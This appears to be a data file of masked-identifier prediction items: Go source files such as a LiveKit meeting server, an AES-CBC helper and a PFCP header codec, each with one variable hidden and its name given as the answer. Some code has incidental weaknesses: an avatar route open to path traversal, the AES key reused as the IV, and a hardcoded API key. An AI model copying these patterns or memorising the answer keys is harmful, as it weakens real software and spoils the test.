form:""user""` Password string `json:"""" form:""""` } // var Secret = []byte(""secret"") // const Userkey = ""user"" func main() { serverConfig := LivekitServerConfig{ Host: ""http://127.0.0.1:7880"", ApiKey: ""key_62737293bad5e"", ApiSecret: """", } r := gin.Default() r.Static(""/assets"", ""./staticfiles"") r.StaticFile(""/favicon.ico"", ""./favicon.ico"") r.StaticFile(""/manifest.json"", ""./manifest.json"") r.StaticFile(""/sw.js"", ""./sw.js"") storage, err := staticfiles.NewStorage(""staticfiles"") if err != nil { log.Fatal(err) } storage.AddInputDir(""assets"") storage.RegisterRule(postProcessCSS) err = storage.CollectStatic() if err != nil { log.Fatal(err) } r.SetFuncMap(template.FuncMap{ ""static"": func(relPath string) string { return ""assets/"" + storage.Resolve(relPath) }, }) r.LoadHTMLGlob(""templates/*"") // r.Use(sessions.Sessions(""session"", cookie.NewStore(Secret))) // r.GET(""/login"", func(c *gin.Context) { // redirectUrl := c.DefaultQuery(""redirect"", ""/"") // session := sessions.Default(c) // user := session.Get(Userkey) // if user != nil { // c.Redirect(http.StatusMovedPermanently, redirectUrl) // return // } // c.HTML(http.StatusOK, ""login.html"", gin.H{}) // }) // r.POST(""/login"", func(c *gin.Context) { // redirectUrl := c.DefaultQuery(""redirect"", ""/"") // session := sessions.Default(c) // user := session.Get(Userkey) // if user != nil { // c.Redirect(http.StatusMovedPermanently, redirectUrl) // return // } // var loginInfo Login // if c.ShouldBind(&loginInfo) != nil && loginInfo.User != """" && loginInfo.Password != """" { // c.HTML(http.StatusOK, ""login.html"", gin.H{ // ""error"": ""Incorrect username or password"", // }) // return // } // loginInfo.User = regexp.MustCompile(`(@.*)$`).ReplaceAllString(loginInfo.User, """") // log.Printf(""DEBUG: %v"", loginInfo) // if err := checkUserPass(loginInfo); err != nil { // c.HTML(http.StatusOK, ""login.html"", gin.H{ // ""user"": loginInfo.User, // ""password"": loginInfo.Password, // ""error"": ""Incorrect username or password"", // }) // return // } // session.Set(Userkey, loginInfo.User) // if err := session.Save(); err != nil { // c.HTML(http.StatusOK, ""login.html"", gin.H{ // ""user"": loginInfo.User, // ""password"": , // ""error"": ""Failed to save session"", // }) // return // } // c.Redirect(http.StatusMovedPermanently, redirectUrl) // }) // r.GET(""/logout"", func(c *gin.Context) { // redirectUrl := c.DefaultQuery(""redirect"", ""/"") // session := sessions.Default(c) // user := session.Get(Userkey) // if user != nil { // session.Delete(Userkey) // _ = session.Save() // } // c.Redirect(http.StatusMovedPermanently, ""/login?redirect=""+redirectUrl) // }) // memoryStore := persist.NewMemoryStore(1 * time.Minute) r.GET(""/"", // cache.CacheByRequestURI(memoryStore, 2*time.Minute), common(), func(c *gin.Context) { sounds := c.MustGet(""sounds"").(map[string]string) c.HTML(http.StatusOK, ""index.html"", gin.H{ ""sounds"": sounds, }) }) r.GET(""/:room"", common(), func(c *gin.Context) { room := c.Param(""room"") sounds := c.MustGet(""sounds"").(map[string]string) data := gin.H{ ""sounds"": sounds, ""creationTime"": 0, ""requiredPasscode"": false, } if room != """" { data[""ended""] = true roomClient := lksdk.NewRoomServiceClient(serverConfig.Host, serverConfig.ApiKey, serverConfig.ApiSecret) res, err := roomClient.ListRooms(context.Background(), &livekit.ListRoomsRequest{ Names: []string{room}, }) if err == nil { log.Printf(""room detail: %v"", res) if len(res.Rooms) == 1 { roomName := res.Rooms[0].Name if res.Rooms[0].Metadata != """" { metaData := RoomMetaData{} err := json.Unmarshal([]byte(res.Rooms[0].Metadata), &metaData) if err == nil { if metaData.RealName != """" { roomName = metaData.RealName } var ctx = context.Background() rdb := redis.NewClient(&redis.Options{ Addr: ""127.0.0.1:6379"", Password: """", DB: 0, }) key := ""room_info:"" + room passcode, err := rdb.Get(ctx, key).Result() if err != nil && err != redis.Nil { panic(err) } data = gin.H{ ""sounds"": sounds, ""creationTime"": res.Rooms[0].CreationTime, ""room"": room, ""roomName"": roomName, ""requiredPasscode"": passcode != """", } } } } else { pmr, err := getPMR(room) if err == nil && pmr.ID != """" { metaData := RoomMetaData{ RealName: pmr.Name, Host: pmr.Host, } metaDataJsonString, err := json.Marshal(metaData) if err == nil { roomClient := lksdk.NewRoomServiceClient(serverConfig.Host, serverConfig.ApiKey, serverConfig.ApiSecret) _, err = roomClient.CreateRoom(context.Background(), &livekit.CreateRoomRequest{ Name: pmr.ID, Metadata: string(metaDataJsonString), }) if err == nil { data = gin.H{ ""sounds"": sounds, ""room"": pmr.ID, ""roomName"": pmr.Name, ""requiredPasscode"": true, } } } } } } } c.HTML(http.StatusOK, ""index.html"", data) }) r.GET(""/avatar/*path"", func(c *gin.Context) { srcPath := c.Param(""path"") if srcPath == """" { c.String(404, ""Not found"") return } srcPath = ""./upload/avatar/"" + srcPath extension := filepath.Ext(srcPath) resizePath := srcPath[0:len(srcPath)-len(extension)] + ""_200x200"" + extension log.Printf(""%s - %s"", srcPath, resizePath) var fileAvatar string if _, err := os.Stat(resizePath); err != nil { if _, err := os.Stat(srcPath); err == nil { err := resize(srcPath, 200, 200, resizePath) if err == nil { fileAvatar = resizePath log.Printf(""resize %s"", resizePath) } else { log.Printf(""failed to save image: %v"", err) } } else { log.Printf(""not found: %v"", err) } } else { fileAvatar = resizePath } if fileAvatar != """" { file, err := os.Open(fileAvatar) if err != nil { log.Println(err) } defer file.Close() fileInfo, _ := file.Stat() bytes := make([]byte, fileInfo.Size()) buffer := bufio.NewReader(file) buffer.Read(bytes) c.Writer.Header().Set(""Cache-Control"", ""private, max-age=604800, immutable"") c.Set(""image-byte"", bytes) c.Data(http.StatusOK, http.DetectContentType(bytes), bytes) } else { c.String(404, ""Not found"") } }) r.POST(""/upload-avatar"", func(c *gin.Context) { file, err := c.FormFile(""file"") if err != nil { c.JSON(http.StatusOK, gin.H{ ""status"": 0, ""message"": ""Upload failed. Please try again"", }) return } [MASK] := 10 if file.Size > int64( [MASK] )*1024*1024 { c.JSON(http.StatusOK, gin.H{ ""status"": 0, ""message"": fmt.Sprintf(""Dung lượng file quá lớn, cho phép tối đa %dMb"", [MASK] ), }) return } log.Println(file.Filename) log.Printf(""%v\n"", file.Size) contentType := file.Header[""Content-Type""][0] if contentType != ""image/jpeg"" && contentType != ""image/png"" && contentType != ""image/gif"" { c.JSON(http.StatusOK, gin.H{ ""status"": 0, ""message"": fmt.Sprintf(""File không hợp lệ %s"", contentType), }) return } extension := strings.ToLower(filepath.Ext(file.Filename)) if extension != "".jpg"" && extension != "".jpeg"" && extension != "".png"" && extension != "".gif"" { c.JSON(http.StatusOK, gin.H{ ""status"": 0, ""message"": fmt.Sprintf(""Không hỗ trợ định dạng này %s"", extension), }) return } year, month, day := time.Now().Date() strMonth := strconv.Itoa(int(month)) if month < 10 { strMonth = ""0"" + strMonth } strDay := strconv.Itoa(day) if day < 10 { strDay = ""0"" + strDay } fileName := strconv.Itoa(rand.Intn(9999999999-1000000000)) + ""_"" + strconv.Itoa(int(time.Now().Unix())) + extension subPathImage := ""/"" + strconv.Itoa(year) + ""/"" + strMonth + ""/"" + strDay pathImage := ""./upload/avatar"" + subPathImage + ""/"" + fileName log.Println(pathImage) if _, err := os.Stat(pathImage); os.IsNotExist(err) { err := os.MkdirAll(filepath.Dir(pathImage), 0755) if err != nil { log.Printf(""failed to create folder: %v"", err) c.JSON(http.StatusOK, gin.H{ ""status"": 0, ""message"": ""Failed to create folder"", }) return } } err = c.SaveUploadedFile(file, pathImage) if err == nil { c.JSON(http.StatusOK, gin.H{ ""status"": 1, ""message"": ""/avatar"" + subPathImage + ""/"" + fileName, }) return } log.Printf(""upload failed: %v"", err) c.JSON(http.StatusOK, gin.H{ ""status"": 0, ""message"": ""Upload fail"", }) }) r.GET(""/qr-code/:id"", func(c *gin.Context) { id := c.Param(""id"") if id == """" { c.String(404, ""Not found"") return } var png []byte png, err := qrcode.Encode(""https://meeting.fptonline.net/""+id, qrcode.Medium, 256) if err != nil { log.Println(err) c.String(404, ""Not found"") return } c.Set(""image-byte"", png) c.Data(http.StatusOK, http.DetectContentType(png), png) }) r.Run("":8080"") } // func checkLogin() gin.HandlerFunc { // return func(c *gin.Context) { // session := sessions.Default(c) // user := session.Get(Userkey) // if user == nil { // redirectUrl := c.FullPath() // c.Redirect(http.StatusMovedPermanently, ""/login?redirect=""+redirectUrl) // c.Abort() // return // } // } // } // func checkUserPass(loginInfo Login) error { // l, err := ldap.Dial(""tcp"", fmt.Sprintf(""%s:%d"", ""172.16.58.3"", 389)) // if err != nil { // log.Println(err) // return err // } // defer l.Close() // l.Debug = true // err = l.Bind(loginInfo.User+""@fo"", loginInfo.Password) // if err != nil { // log.Println(err) // return err // } // return nil // } func common() gin.HandlerFunc { return func(c *gin.Context) { files, err := ioutil.ReadDir(""./assets/sounds"") if err == nil { sounds := map[string]string{} for _, f := range files { fileName := regexp.MustCompile(`\..*?$`).ReplaceAllString(f.Name(), """") filePath := ""sounds/"" + fileName + "".wav"" sounds[fileName] = filePath } c.Set(""sounds"", sounds) } else { log.Println(err) } } } func resize(src string, w int, h int, savePath string) error { srcImage, err := imaging.Open(src) if err != nil { log.Printf(""failed to open image: %v"", err) return err } dstImageFill := imaging.Fill(srcImage, w, h, imaging.Center, imaging.Lanczos) if _, err := os.Stat(savePath); os.IsNotExist(err) { err := os.MkdirAll(filepath.Dir(savePath), 0755) if err != nil { log.Printf(""failed to create folder: %v"", err) return err } } err = imaging.Save(dstImageFill, savePath) if err == nil { log.Printf(""from resize %s"", savePath) } else { log.Printf(""failed to save image: %v"", err) return err } return nil } func getPMR(ID string) (PMR, error) { var ctx = context.Background() rdb := redis.NewClient(&redis.Options{ Addr: ""127.0.0.1:6379"", Password: """", DB: 0, }) var pmr PMR key := ""pmr:"" + ID data, err := rdb.Get(ctx, key).Result() if err != nil && err != redis.Nil { log.Println(err) return pmr, err } if data != """" { err := json.Unmarshal([]byte(data), &pmr) if err != nil { return pmr, err } } return pmr, nil } func postProcessCSS(storage *staticfiles.Storage, file *staticfiles.StaticFile) error { if filepath.Ext(file.Path) != "".css"" { return nil } buf, err := ioutil.ReadFile(file.Path) if err != nil { return err } content := string(buf) changed := false var ( ignoreRegex = regexp.MustCompile(`^\w+:`) urlPatterns = []*regexp.Regexp{ regexp.MustCompile(`url\(['""]?(?P.*?)['""]?\)`), regexp.MustCompile(`@import\s*['""](?P.*?)['""]`), regexp.MustCompile(`sourceMappingURL=(?P[-\\.\w]+)`), } ) for _, regex := range urlPatterns { content = regex.ReplaceAllStringFunc(content, func(s string) string { url := findSubmatchGroup(regex, s, ""url"") urlOrigin := url url = regexp.MustCompile(`\?.*?$`).ReplaceAllString(url, """") // Skip data URI schemes and absolute urls if ignoreRegex.MatchString(url) { return s } urlFileName := filepath.Base(urlOrigin) urlFilePath := filepath.ToSlash(filepath.Join(filepath.Dir(file.Path), url)) for _, file := range storage.FilesMap { if file.Path == urlFilePath { hashedName := filepath.Base(file.StoragePath) s = strings.Replace(s, urlFileName, hashedName, 1) changed = true break } } return s }) } if changed { err = ioutil.WriteFile(file.StoragePath, []byte(content), 0) if err != nil { return err } } return nil } func findSubmatchGroup(regex *regexp.Regexp, s, groupName string) string { matches := regex.FindStringSubmatch(s) if matches != nil { for i, name := range regex.SubexpNames() { if name == groupName { return matches[i] } } } return """" } ",limitSize 458,"// Package main is the main package :D package main import ( ""sort"" ) func bump( [MASK] string, bugfix bool) error { newComponents := map[string]component{} components, err := readCompoments( [MASK] ) if err != nil { return err } for name, component := range components { newComponent, err := bumpComponent(name, component, bugfix) if err != nil { return err } newComponents[name] = newComponent } return writeComponents( [MASK] , newComponents) } func bumpComponent(name string, c component, bugfix bool) (component, error) { newVersion := c.Version newerVersions, err := checkComponentNewerVersions(c, bugfix) if err != nil { return component{}, err } if len(newerVersions) > 0 { // Get the latest one sort.Sort(newerVersions) // sort just in case newVersion = ""v"" + newerVersions[len(newerVersions)-1].String() } return component{ Github: c.Github, Version: newVersion, }, nil } ",filename 459,"package main import ( ""clifford/pkg/clifford"" ""log"" ""math"" ""math/rand"" ""os"" ""runtime"" ""runtime/pprof"" ""strings"" ""time"" ) const ( DotsPerCm = 237 // 600 DPI Size = 25 * DotsPerCm // Size = 1600 Interval = 2 * time.Second Passes = 8 ) func main() { fCpuProf, err := os.Create(""./cpu.prof"") if err != nil { log.Fatal(""could not create CPU profile: "", err) } defer fCpuProf.Close() if err := pprof.StartCPUProfile(fCpuProf); err != nil { log.Fatal(""could not start CPU profile: "", err) } defer pprof.StopCPUProfile() rand.Seed(time.Now().UnixNano()) log.Println(""fetching random gradient..."") [MASK] , err := randomGradient() if err != nil { log.Fatalf(""could not get random gradient: %s"", err) } log.Println(strings.Join( [MASK] , "","")) grad, err := clifford.GradientHexSlice( [MASK] ) if err != nil { log.Fatalf(""could not create gradient from slice: %s"", err) } log.Println(""searching stable attractor..."") att := clifford.StableAttractor(-2, 2, 100) log.Println(att) log.Println(""stabilizing attractor..."") for i := 0; i < 128; i++ { att.Advance() } log.Println(""building histogram..."") hist := clifford.NewHistogram(Size, math.Phi/2, att) traces := uint(0) for p := 0; p < Passes; p++ { t0 := time.Now() for time.Since(t0) < Interval { att.Advance() hist.Inc(att.X, att.Y) traces++ } log.Printf(""pass %d, traced %d pixels"", p+1, traces) log.Println(""rendering histogram..."") img := clifford.RenderHistogram(hist, Size, grad) log.Println(""writing output image..."") if err := writeImage(""./output.jpg"", img); err != nil { log.Fatalf(""could not write image: %s"", err) } } fMemProf, err := os.Create(""./mem.prof"") if err != nil { log.Fatal(""could not create memory profile: "", err) } defer fMemProf.Close() runtime.GC() if err := pprof.WriteHeapProfile(fMemProf); err != nil { log.Fatal(""could not write memory profile: "", err) } } ",gradHex 460,"package dbadmin import ( ""database/sql"" ""testing"" ""github.com/DATA-DOG/go-sqlmock"" ""github.com/nagendra547/go-db-loadbalancer/log"" ""github.com/nagendra547/go-db-loadbalancer/mydb"" ""github.com/stretchr/testify/assert"" ) var master *sql.DB var readReplica1 *sql.DB var readReplica2 *sql.DB var readReplica3 *sql.DB /*This init is executed all time while creating a new mock instance of database */ func init() { var [MASK] error master, _, [MASK] = sqlmock.New() checkError( [MASK] ) readReplica1, _, [MASK] = sqlmock.New() checkError( [MASK] ) readReplica2, _, [MASK] = sqlmock.New() checkError( [MASK] ) readReplica3, _, [MASK] = sqlmock.New() checkError( [MASK] ) } func checkError(err error) { if err != nil { log.Error(""an error '%s' was not expected when opening a stub database connection"", err) } } //TestSetMaxOpenConns - testing SetMaxOpenConns func TestSetMaxOpenConns(t *testing.T) { mydatabase := mydb.NewDB(master, readReplica1, readReplica2, readReplica3) SetMaxOpenConns(mydatabase, 10) stats := mydatabase.Master.Stats() assert.Equal(t, stats.MaxOpenConnections, 10, ""Failed"") } //TestSetMaxIdleConns - testing TestSetMaxIdleConns func TestSetMaxIdleConns(t *testing.T) { mydatabase := mydb.NewDB(master, readReplica1, readReplica2, readReplica3) SetMaxIdleConns(mydatabase, 1) stats := mydatabase.Master.Stats() assert.Equal(t, stats.Idle, 1, ""Failed"") } ",err0 461,"package cmd import ( ""context"" ""fmt"" ""log"" ""magic-rules-qa/prompts"" ""magic-rules-qa/vectorstore"" ""os"" ""github.com/spf13/cobra"" ""github.com/tmc/langchaingo/llms"" ""github.com/tmc/langchaingo/llms/googleai"" ) func Search() *cobra.Command { return &cobra.Command{ Use: ""search for a phrase"", Short: ""Search for a given phrase"", Args: cobra.ExactArgs(1), Run: func(cmd *cobra.Command, args []string) { ctx := context.Background() store, err := vectorstore.NewQdrant() if err != nil { log.Fatal(err) } docs, err := store.SimilaritySearch(ctx, args[0], 5) if err != nil { log.Fatal(err) } apiKey := os.Getenv(""GOOGLE_API_KEY"") llm, err := googleai.New(ctx, googleai.WithAPIKey(apiKey), googleai.WithDefaultModel(""gemini-1.5-flash"")) if err != nil { log.Fatal(err) } content := []llms.MessageContent{ llms.TextParts(llms.ChatMessageTypeSystem, prompts.SystemPrompt), llms.TextParts(llms.ChatMessageTypeHuman, prompts.ChatTemplate, docs[0].PageContent, args[0]), } completion, err := llm.GenerateContent(ctx, content, llms.WithStreamingFunc(func(ctx context.Context, [MASK] []byte) error { fmt.Print(string( [MASK] )) return nil })) if err != nil { log.Fatal(err) } _ = completion }, } } ",chunk 462,"package endeaes /* AES256 CBC模式 CBC模式+PKCS7 填充方式实现AES的加密和解密 */ import ( ""bytes"" ""crypto/aes"" ""crypto/cipher"" ""errors"" ) // 补码 func PKCS7Padding(cipherText []byte, blockSize int) []byte { // 计算需要补几位数 padding := blockSize - len(cipherText)%blockSize // 在切片后面追加char数量的byte(char) padText := bytes.Repeat([]byte{byte(padding)}, padding) // 返回填充后的密文 return append(cipherText, padText...) } func PKCS7UnPadding(src []byte) []byte { length := len(src) unPadDing := int(src[length-1]) if length < unPadDing{ return nil } return src[:(length - unPadDing)] } // 加密 func AesCbcEncrypt(src, key []byte) ([]byte, error) { length := len(key) if length%8 != 0 || length < 16 || length > 32 { return nil,errors.New(""The AES key should be,either 16, 24, or 32 bytes."") } // NewCipher创建并返回一个新的cipher.Block。 关键参数应该是AES密钥, 要选择16个,24个或32个字节 AES-128,AES-192或AES-256。 // 获取block块 block, err := aes.NewCipher(key) if err != nil { return nil, err } blockSize := block.BlockSize() // 补码 src = PKCS7Padding(src, blockSize) // NewCBCEncrypter返回一个BlockMode,它以密码块链接加密 模式,使用给定的块。 iv的长度必须与 块的块大小。 // 加密模式 blockMode := cipher.NewCBCEncrypter(block, key[:blockSize]) // 创建明文长度的数组 cipherText := make([]byte, len(src)) // 加密明文 blockMode.CryptBlocks(cipherText, src) return cipherText, nil } // 解密 func AesCbcDecrypt(src, key []byte) ([]byte, error) { length := len(key) if length%8 != 0 || length < 16 || length > 32 { return nil,errors.New(""The AES key should be,either 16, 24, or 32 bytes."") } block, err := aes.NewCipher(key) if err != nil { return nil, err } blockSize := block.BlockSize() blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) [MASK] := make([]byte, len(src)) blockMode.CryptBlocks( [MASK] , src) [MASK] = PKCS7UnPadding( [MASK] ) return [MASK] , nil } ",plainText 463,"// SPDX-FileCopyrightText: 2022-present Intel Corporation // // Copyright 2019 free5GC.org // // SPDX-License-Identifier: Apache-2.0 // package pfcp import ( ""bytes"" ""encoding/binary"" ""encoding/json"" ""errors"" ""strconv"" ""github.com/omec-project/pfcp/logger"" ) const PfcpVersion uint8 = 1 const ( SEID_NOT_PRESENT = 0 SEID_PRESENT = 1 ) /* var ( sequenceCount uint32 ) */ func init() { //sequenceCount = 0 } type Header struct { Version uint8 MP uint8 S uint8 MessageType MessageType MessageLength uint16 SEID uint64 SequenceNumber uint32 MessagePriority uint8 } func (h *Header) MarshalBinary() (data []byte, err error) { var tmpbuf uint8 buffer := new(bytes.Buffer) tmpbuf = h.Version<<5 | (h.MP&1)<<1 | (h.S & 1) if err := binary.Write(buffer, binary.BigEndian, &tmpbuf); err != nil { logger.PFCPLog.Warnf(""Binary write error: %+v"", err) } if err := binary.Write(buffer, binary.BigEndian, &h.MessageType); err != nil { logger.PFCPLog.Warnf(""Binary write error: %+v"", err) } if err := binary.Write(buffer, binary.BigEndian, &h.MessageLength); err != nil { logger.PFCPLog.Warnf(""Binary write error: %+v"", err) } if h.S&1 != 0 { if err := binary.Write(buffer, binary.BigEndian, &h.SEID); err != nil { logger.PFCPLog.Warnf(""Binary write error: %+v"", err) } } var snAndSpare uint32 var spareAndMP uint8 if h.MP&1 != 0 { spareAndMP = h.MessagePriority << 4 } else { spareAndMP = 0 } if h.SequenceNumber > (1<<24 - 1) { logger.PFCPLog.Warnf(""Sequence number must be less 24bit integer"") } snAndSpare = h.SequenceNumber<<8 | uint32(spareAndMP) if err := binary.Write(buffer, binary.BigEndian, &snAndSpare); err != nil { logger.PFCPLog.Warnf(""Binary write error: %+v"", err) } return buffer.Bytes(), nil } func (h *Header) UnmarshalBinary(data []byte) error { var [MASK] uint8 byteReader := bytes.NewReader(data) if err := binary.Read(byteReader, binary.BigEndian, & [MASK] ); err != nil { return errors.New("""") } h.Version, h.MP, h.S = [MASK] >>5, ( [MASK] &0x02)>>1, [MASK] &0x01 if err := binary.Read(byteReader, binary.BigEndian, &h.MessageType); err != nil { logger.PFCPLog.Warnf(""Binary write error: %+v"", err) } if err := binary.Read(byteReader, binary.BigEndian, &h.MessageLength); err != nil { logger.PFCPLog.Warnf(""Binary write error: %+v"", err) } if h.S&1 != 0 { if err := binary.Read(byteReader, binary.BigEndian, &h.SEID); err != nil { logger.PFCPLog.Warnf(""Binary write error: %+v"", err) } } var snAndSpare uint32 if err := binary.Read(byteReader, binary.BigEndian, &snAndSpare); err != nil { logger.PFCPLog.Warnf(""Binary write error: %+v"", err) } h.SequenceNumber = snAndSpare >> 8 if h.MP&1 != 0 { h.MessagePriority = uint8(snAndSpare&0x00FF) >> 4 } return nil } func (h *Header) Len() int { // Node Related Header if int(h.MessageType) < 50 { return 8 } return 16 } func (h *Header) MarshalJSON() ([]byte, error) { logger.PFCPLog.Debugf(""json marshal header [%v] "", h) type Alias Header seid := SeidConv(h.SEID) return json.Marshal(&struct { *Alias Seid string `json:""seid""` }{ Alias: (*Alias)(h), Seid: seid, }) } func (h *Header) UnmarshalJSON(data []byte) error { type Alias Header aux := &struct { *Alias Seid string `json:""seid""` }{Alias: (*Alias)(h)} if err := json.Unmarshal(data, &aux); err != nil { logger.PFCPLog.Errorf(""json unmarshal header error [%v] "", err) return err } //replace with decoded one fseidStr := aux.Seid seid, _ := strconv.ParseUint(fseidStr, 16, 64) h.SEID = seid logger.PFCPLog.Debugf(""json unmarshal header [%v] "", h) return nil } ",tmpBuf 464,"/* Copyright 2022. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package v1beta1 import ( ""encoding/json"" condition ""github.com/openstack-k8s-operators/lib-common/modules/common/condition"" ""github.com/openstack-k8s-operators/lib-common/modules/common/util"" ""github.com/openstack-k8s-operators/lib-common/modules/storage"" corev1 ""k8s.io/api/core/v1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ) const ( // Container image fall-back defaults // OpenStackAnsibleEEContainerImage is the fall-back container image for OpenStackAnsibleEE OpenStackAnsibleEEContainerImage = ""quay.io/openstack-k8s-operators/openstack-ansibleee-runner:latest"" ) const ( // JobStatusSucceeded - JobStatusSucceeded = ""Succeeded"" // JobStatusFailed - JobStatusFailed = ""Failed"" // JobStatusRunning - JobStatusRunning = ""Running"" // JobStatusPending - JobStatusPending = ""Pending"" ) // OpenStackAnsibleEESpec defines the desired state of OpenStackAnsibleEE type OpenStackAnsibleEESpec struct { // INSERT ADDITIONAL SPEC FIELDS - desired state of cluster // Important: Run ""make"" to regenerate code after modifying this file // PlaybookContents is an inline playbook contents that ansible will run on execution. PlaybookContents string `json:""playbookContents,omitempty""` // Playbook is the playbook that ansible will run on this execution, accepts path or FQN from collection Playbook string `json:""playbook,omitempty""` // Image is the container image that will execute the ansible command Image string `json:""image,omitempty""` // Args are the command plus the playbook executed by the image. If args is passed, Playbook is ignored. Args []string `json:""args,omitempty""` // Name is the name of the internal container inside the pod // +kubebuilder:default:=""openstackansibleee"" Name string `json:""name,omitempty""` // EnvConfigMapName is the name of the k8s config map that contains the ansible env variables // +kubebuilder:default:=""openstack-aee-default-env"" EnvConfigMapName string `json:""envConfigMapName,omitempty""` // Env is a list containing the environment variables to pass to the pod Env []corev1.EnvVar `json:""env,omitempty""` // RestartPolicy is the policy applied to the Job on whether it needs to restart the Pod. It can be ""OnFailure"" or ""Never"". // RestartPolicy default: Never // +kubebuilder:validation:Enum:=OnFailure;Never // +operator-sdk:csv:customresourcedefinitions:type=spec,xDescriptors={""urn:alm:descriptor:com.tectonic.ui:select:OnFailure"",""urn:alm:descriptor:com.tectonic.ui:select:Never""} // +kubebuilder:default:=""Never"" RestartPolicy string `json:""restartPolicy,omitempty""` // PreserveJobs - do not delete jobs after they finished e.g. to check logs // PreserveJobs default: true // +kubebuilder:validation:Enum:=true;false // +kubebuilder:default:=true PreserveJobs bool `json:""preserveJobs,omitempty""` // UID is the userid that will be used to run the container. // +kubebuilder:default:=1001 UID int64 `json:""uid,omitempty""` // Inventory is the primary inventory that the ansible playbook will use to launch the job. // Further inventories may be provided as ExtraMount in the `/runner/inventory/` path. Inventory string `json:""inventory,omitempty""` // +kubebuilder:validation:Optional // ExtraMounts containing conf files, credentials and inventories ExtraMounts []storage.VolMounts `json:""extraMounts,omitempty""` // BackoffLimit allows to define the maximum number of retried executions (defaults to 6). // +kubebuilder:default:=6 // +operator-sdk:csv:customresourcedefinitions:type=spec,xDescriptors={""urn:alm:descriptor:com.tectonic.ui:number""} BackoffLimit *int32 `json:""backoffLimit,omitempty""` // +kubebuilder:validation:Optional // NetworkAttachments is a list of NetworkAttachment resource names to expose the services to the given network NetworkAttachments []string `json:""networkAttachments,omitempty""` // +kubebuilder:validation:Optional // CmdLine is the command line passed to ansible-runner CmdLine string `json:""cmdLine,omitempty""` // +kubebuilder:validation:Optional // InitContainers allows the passing of an array of containers that will be executed before the ansibleee execution itself InitContainers []corev1.Container `json:""initContainers,omitempty""` // +kubebuilder:validation:Optional // ServiceAccountName allows to specify what ServiceAccountName do we want the ansible execution run with. Without specifying, // it will run with default serviceaccount ServiceAccountName string `json:""serviceAccountName,omitempty""` // DNSConfig allows to specify custom dnsservers and search domains // +kubebuilder:validation:Optional DNSConfig *corev1.PodDNSConfig `json:""dnsConfig,omitempty""` // +kubebuilder:validation:Optional // +kubebuilder:pruning:PreserveUnknownFields // +kubebuilder:validation:Schemaless // Extra vars to be passed to ansible process during execution. This can be used to override default values in plays. ExtraVars map[string]json.RawMessage `json:""extraVars,omitempty""` } // OpenStackAnsibleEEStatus defines the observed state of OpenStackAnsibleEE type OpenStackAnsibleEEStatus struct { // INSERT ADDITIONAL STATUS FIELD - define observed state of cluster // Important: Run ""make"" to regenerate code after modifying this file // Map of hashes to track e.g. job status Hash map[string]string `json:""hash,omitempty""` // +operator-sdk:csv:customresourcedefinitions:type=status,xDescriptors={""urn:alm:descriptor:io.kubernetes.conditions""} // Conditions Conditions condition.Conditions `json:""conditions,omitempty"" optional:""true""` // NetworkAttachments status of the deployment pods NetworkAttachments map[string][]string `json:""networkAttachments,omitempty""` // +kubebuilder:validation:Enum:=Pending;Running;Succeeded;Failed // +kubebuilder:default:=Pending // JobStatus status of the executed job (Pending/Running/Succeeded/Failed) JobStatus string `json:""JobStatus,omitempty"" optional:""true""` // ObservedGeneration - the most recent generation observed for this // service. If the observed generation is less than the spec generation, // then the controller has not processed the latest changes injected by // the opentack-operator in the top-level CR (e.g. the ContainerImage) ObservedGeneration int64 `json:""observedGeneration,omitempty""` } //+kubebuilder:object:root=true //+kubebuilder:subresource:status //+operator-sdk:csv:customresourcedefinitions:displayName=""OpenStack Ansible EE"" // +kubebuilder:resource:shortName=osaee;osaees;osansible;osansibles //+kubebuilder:printcolumn:name=""NetworkAttachments"",type=""string"",JSONPath="".spec.networkAttachments"",description=""NetworkAttachments"" //+kubebuilder:printcolumn:name=""Status"",type=""string"",JSONPath="".status.conditions[0].status"",description=""Status"" //+kubebuilder:printcolumn:name=""Message"",type=""string"",JSONPath="".status.conditions[0].message"",description=""Message"" // OpenStackAnsibleEE is the Schema for the openstackansibleees API type OpenStackAnsibleEE struct { metav1.TypeMeta `json:"",inline""` metav1.ObjectMeta `json:""metadata,omitempty""` Spec OpenStackAnsibleEESpec `json:""spec,omitempty""` Status OpenStackAnsibleEEStatus `json:""status,omitempty""` } //+kubebuilder:object:root=true // OpenStackAnsibleEEList contains a list of OpenStackAnsibleEE type OpenStackAnsibleEEList struct { metav1.TypeMeta `json:"",inline""` metav1.ListMeta `json:""metadata,omitempty""` Items []OpenStackAnsibleEE `json:""items""` } // Config is a specification of where to mount a certain ConfigMap object type Config struct { // Name is the name of the ConfigMap that we want to mount Name string `json:""name""` // MountPoint is the directory of the container where the ConfigMap will be mounted MountPath string `json:""mountpath""` } func init() { SchemeBuilder.Register(&OpenStackAnsibleEE{}, &OpenStackAnsibleEEList{}) } // IsReady - returns true if the OpenStackAnsibleEE is ready func ( [MASK] OpenStackAnsibleEE) IsReady() bool { return [MASK] .Status.Conditions.IsTrue(condition.JobReadyCondition) } // SetupDefaults - initializes any CRD field defaults based on environment variables (the defaulting mechanism itself is implemented via webhooks) func SetupDefaults() { // Acquire environmental defaults and initialize OpenStackAnsibleEE defaults with them openstackAnsibleEEDefaults := OpenStackAnsibleEEDefaults{ ContainerImageURL: util.GetEnvVar(""RELATED_IMAGE_ANSIBLEEE_IMAGE_URL_DEFAULT"", OpenStackAnsibleEEContainerImage), } SetupOpenStackAnsibleEEDefaults(openstackAnsibleEEDefaults) } ",instance 465,"package main import ( ""encoding/json"" ""fmt"" ""log"" ""net/http"" ""strings"" ""time"" ""github.com/gorilla/mux"" ) func main() { router := mux.NewRouter() router.HandleFunc(""/api/time"", getTime).Methods(http.MethodGet) log.Fatal(http.ListenAndServe(""localhost:8001"", router)) } func getTime(w http.ResponseWriter, r *http.Request) { [MASK] := make(map[string]string, 0) tz := r.URL.Query().Get(""tz"") timezones := strings.Split(tz, "","") if len(timezones) == 0 { loc, err := time.LoadLocation(tz) if err != nil { w.WriteHeader(http.StatusNotFound) w.Write([]byte(fmt.Sprintf(""invalid timezone %s"", tz))) } else { [MASK] [""current_time""] = time.Now().In(loc).String() w.Header().Add(""Content-Type"", ""application/json"") json.NewEncoder(w).Encode( [MASK] ) } } else { for _, tzdb := 